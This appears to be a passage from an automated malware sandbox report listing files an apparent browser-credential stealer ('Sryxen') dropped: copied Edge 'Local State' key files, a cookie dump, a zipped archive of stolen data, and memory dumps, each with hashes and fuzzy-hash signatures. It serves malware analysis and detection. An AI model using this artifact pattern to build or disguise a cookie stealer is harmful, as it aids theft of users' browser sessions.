SHA1 e532552672ecffbe3509fb4c334833a67f16d05b
SHA512 fefc70ebe486693310a00beb5ae125abb1569c4455538124d897566f2e44f2b3854ad4451196607137301a811ac7f96f1d488a36eb6d6cd566f2f7cdc7c7568f
MD5 SHA1 SHA512

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 df1d398d67232cbba51edab1cd3d58bd6e371729f1c14870e7766a738f54b6d3
MD5 51cb8d14969a5328f18ed7fd5360c2b1
SHA1 ff049dfd171bb822788237044bec6a0356246833
SHA512 602320360fad9d5cf0651832bcae142e9582e0d29d9efd8971a13ffabdb69b3a08edb64b6bc535b008b0c70c21cac14c33fcfb5baf4d4268e9801e35302da932
SSDEEP 192:gGNk6IMGCQmiUyaRvxc/T0JoDYzS66UK1so2U6:gGNk6G+Nvxc/TEotIU6
TLSH
T156122A3178B8EC3B5EE3B455F0C732636EA414BBDE855F99D5E81B0C00DB698270B822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 8KB
SHA256 89bc7a95d7311e64e42d1a6b3ca6ee6d2769e62a4d5bfdb94be1a4753e835208
MD5 17302adb242169c85e2b92e65bc88790
SHA1 cb790f0952f70a3f2bbb350e6e94de54de5ba2ca
SHA512 73443259c5bba33d8cf1cafa3bb235db6d48766b5f3f2969680e6032e000692fcc5f78f7c8889d0a92563712ae947e9de2d449c4b18c3e49588dc4fec7c11c6a
SSDEEP 192:lGN26IMGEQmiUyDTR6xc/T0JhSepHb6U6:lGN26GUcl6xc/TEfGU6
TLSH
T19802FA347C787CBB9EE36D45B48737235F94106BEAA52F88C9E81B1D00DB69C1307822
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Admin_SryxenRetrieved.zip

Path C:\Users\Admin\AppData\Local\Temp\Admin_SryxenRetrieved.zip
Size 2KB
SHA256 bd6e77c34d771dc458fde776b44dccd6df08a7d962420560e1036407195d992c
MD5 4fcbb4899a5058e7ee7a332eb4659033
SHA1 0c891f6bf371131607ad4a53e93b8f41224bf3c2
SHA512 d4826de2b7875d2580750d9c2aca2b3fa46d64d47dccc2b374f305157ab5b48e065a13722613dafd3bd1a2d9703c349365ccc0542b514bdcda01d19c8f692d24
TLSH
T145416864D84C2381C38EA7B0CC316D17C3688D4BAD01AF6F05463BAC7A7248E0EE6507
MD5 SHA1 SHA512 TLSH

Submit Download

cookies_dump_Edge.txt

Path C:\Users\Admin\AppData\Local\Temp\Sryxen\cookies_dump_Edge.txt
Size 1KB
SHA256 9b1a2fc150385a3ec85197467fef53cd43277bf3751957482c4b4eabb56c6779
MD5 d64fc780ac84ef6f3cd1350846d52c9c
SHA1 634000bd6af0e18a242c8bfe43c341af51d3b5c9
SHA512 ace798d3f7cfd5c6b119cf78634bdaa8fc6a4150e6e1c6c0bdf0374eea0e44f8eae686435c5b40f8dca99d14db338d207f7de030c44748d2b6681d7179b57e42
TLSH
T17A213E93EEB29FD175891085F8B9FE0A4A202D63F1A0F07C767C80083503AA03E6465F
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_mx0yrigg.zap.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_mx0yrigg.zap.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

tHgTBNb.db

Path C:\Users\Admin\AppData\Local\Temp\tHgTBNb.db
Size 56KB
SHA256 f6dd954d4ffd30161e6ef3c3242d3576a739366f9b73f396e45583af8829d178
MD5 fe8c5fb9ed4218996d10e03d7f45f1ec
SHA1 e394d2de480259243fde14f8ecbf7682f7c845e5
SHA512 66f8bc3f3f092a9395f079ff000acf492ca96d51790c1265ac2e555a771fe2705b20e12a964884f27d333649c6a003a2a473dae74107b51730c0cf2d737dd46e
SSDEEP 96:dpfmG38t8KLPeymO7CGr8M5bn8MouB6w9fUPetSEPfNy:dpD07CGr8MV7Iw9f1N
TLSH
T1DA43771F1B682802CC698632ACB194F36F7CA13F8F539E922CB444359D75862B12D5FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

wiWBY3B.db

Path C:\Users\Admin\AppData\Local\Temp\wiWBY3B.db
Size 40KB
SHA256 06aeb2f9c1ee642348c091fb27541c143545354c273055ce30832e0f61aedf81
MD5 ba979c77c714b67908bc582ec373c723
SHA1 ff6b59b47b8d3ad488eaa7a4b0040a9a93eb19fe
SHA512 fc6b860dcb9e00c6ab7aa72555fb17921bbb8b1276acf0ab5fcb20b5f2dbd4bf71946c5c4fcfc46310f8de29491a63e46d43805070d19f290070f60077f80b01
SSDEEP 96:wDaCn8MouB6w9fUP8iZqmvJKLPeymwil:wDaG7Iw9f/iSi
TLSH
T16103440F2E682801C8B94632BCF124E62E7DA03E4F13EED12CB504659D75C52B52E5EF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3660-203-0x00000183F7730000-0x00000183F773C000-memory.dmp

Download

memory/3932-0-0x00007FF76F98C000-0x00007FF76F98E000-memory.dmp

Download

memory/3932-16-0x00007FF76F860000-0x00007FF76FB4E000-memory.dmp

Download

memory/3932-204-0x00007FF76F860000-0x00007FF76FB4E000-memory.dmp

Download

memory/3932-158-0x00007FF76F860000-0x00007FF76FB4E000-memory.dmp

Download

memory/5308-186-0x00000271CED80000-0x00000271CED8A000-memory.dmp

Download

memory/5308-188-0x00000271CEA90000-0x00000271CEA9A000-memory.dmp

Download

memory/5308-187-0x00000271CED70000-0x00000271CED82000-memory.dmp

Download

memory/5308-201-0x00000271CEA70000-0x00000271CEA78000-memory.dmp

Download

memory/5308-200-0x00000271B6680000-0x00000271B6692000-memory.dmp

Download

memory/5308-199-0x00000271B6260000-0x00000271B626C000-memory.dmp

Download

memory/5308-185-0x00000271CEAA0000-0x00000271CEB53000-memory.dmp

Download

memory/5308-184-0x00000271CEA80000-0x00000271CEA9C000-memory.dmp

Download

memory/5308-171-0x00000271CE9E0000-0x00000271CEA02000-memory.dmp

Download